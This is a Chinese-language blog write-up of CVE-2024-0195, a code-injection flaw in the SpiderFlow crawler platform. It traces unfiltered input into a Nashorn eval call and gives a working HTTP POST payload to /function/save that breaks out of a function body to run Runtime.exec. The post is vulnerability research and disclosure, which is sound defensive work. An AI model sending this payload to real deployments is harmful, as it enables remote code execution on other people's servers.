当前位置: 首页 > 技术干货 > SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)

SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)

发表于:2024-01-18 20:58 作者: C2yb8er 阅读数(1388人)

1. 漏洞介绍

SpiderFlow爬虫平台项目中

spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionNameparametersscript 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷。

2. 流程图分析

image-20240113214637085

3. 搭建过程

1. IDEA Gitee 快速搭建

image-20240113214746379

URL : https://gitee.com/jmxd/spider-flow.git

image-20240113214828184

2. 数据库搭建

我这里使用的是MySQL5.7,然后使用Navicat运行项目中spider-flow\db\spiderflow.sql这个SQL文件会在数据库中自动生成所需要的数据库:

image-20240113215141449

image-20240113215223454

image-20240113215235300

image-20240113215310529

3. 数据库连接

image-20240113215340735

然后修改数据库配置文件application.properties,路径为:spider-flow\spider-flow-web\src\main\resources\application.properties

image-20240113215518996

4. 运行

spider-flow\spider-flow-web\src\main\java\org\spiderflow\SpiderApplication.java

image-20240113215638797

然后访问路径http://localhost:8088/,成功搭建!

image-20240113215752537

4. 利用过程

首先我们直接在IDEA中寻找危险函数eval,使用Ctrl+shift+F文件搜索:

image-20240113220036696

发现这里有个validScript函数调用了eval危险函数:

    public static void validScript(String functionName,String parameters,String script) throws Exception {
       new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
  }

然后这里的我们去看看eval具体执行的参数是怎么生成的:

image-20240113220311948

    private static String concatScript(String functionName,String parameters,String script){
       StringBuffer scriptBuffer = new StringBuffer();
       scriptBuffer.append("function ")
              .append(functionName)
              .append("(")
              .append(parameters == null ? "" : parameters)
              .append("){")
              .append(script)
              .append("}");
       return scriptBuffer.toString();
  }

可以看到concatScript 方法中,它接受三个参数 functionNameparametersscript,然后将它们拼接成一个 JavaScript 函数的字符串。这里它没有任何的过滤。所以我们可以尝试构造恶意的这三个参数实现RCE。

在上面的函数中将产生如下的字符串:

function functionName(parameters){script}

很明显我们可以构造恶意的script来导致RCE:

例如script的值可以为}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

这样的话我们最终的字符串将会变成:

function functionName(parameters){}Java.type('java.lang.Runtime').getRuntime().exec('calc');{}

然后最后在执行的时候就会直接定义一个函数后执行我们的Java恶意代码。

然后我们分析是哪个函数调用了validScript函数

image-20240113221705800

    public String saveFunction(Function entity) {
       try {
           ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());
           super.saveOrUpdate(entity);
           init();
           return null;
      } catch (Exception e) {
           logger.error("保存自定义函数出错",e);
           return ExceptionUtils.getStackTrace(e);
      }
  }

然后在FunctionController.java调用了saveFunction

@RestController
@RequestMapping("/function")
public class FunctionController {
  ......
@RequestMapping("/save")
   public String save(Function function){
       return functionService.saveFunction(function);
  }
  ......
}

然后我们现在就可以去实际的功能点看需要哪些参数:

image-20240113223447553

image-20240113223535043

于是我们直接写出payload:

POST /function/save HTTP/1.1
Content-Length: 38
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost:8088

id=&name=rce&parameter=rce&script=}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

成功命令执行弹出计算器:

cve-2024-1

修复方式

  • 过滤好script参数

  • 设置沙箱

5. 总结

这个项目在Gitee上面有7.4K的Star,有3.6K的fork记录,在实际部署上也不是很少,但是漏洞点出的不是很难主要是思路扩展,适宜入门。